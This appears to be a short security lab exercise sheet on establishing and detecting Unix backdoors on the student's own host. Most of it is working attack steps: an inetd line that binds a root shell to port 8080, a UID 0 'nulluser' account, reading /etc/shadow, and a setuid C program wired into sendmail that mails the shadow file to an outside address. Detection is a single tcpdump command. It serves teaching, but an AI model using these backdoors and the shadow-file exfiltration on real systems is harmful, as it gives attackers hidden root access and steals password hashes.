Backdoor establishment and detection
8080 stream tcp nowait root /bin/sh sh -i
/usr/sbin/inetd /tmp/any_name_you_like
tcpdump -s 2000 -w backdoor.dump port 8080
telnet your_host 8080
Type "whoami" and "hostname" command to confirm your root shell access after telneting your host at 8080 port. Type some commands too in the root shell, says "cat /etc/shadow"
killall inetd /etc/rc.d/init.d/inet start
adduser -u 0 -g 0 nulluser passwd nulluser Changing password for user nulluser New UNIX password: Retype new UNIX password: passwd: all authentication tokens updated successfully
ssh your_host -l nulluser
Post all your findings on your web pages
main()
{ system("/bin/mail -s passwd your_email_address < /etc/shadow");}
gcc -o /etc/sendpass sendpass.c chmod +s /etc/sendpass
ln -s /etc/sendpass /etc/smrsh/sendpass
echo nulluser >> /etc/sendmail.ct
"|/etc/sendpass"
mail nulluser@your_host.vmx.hkntec.net
Post all your findings on your web pages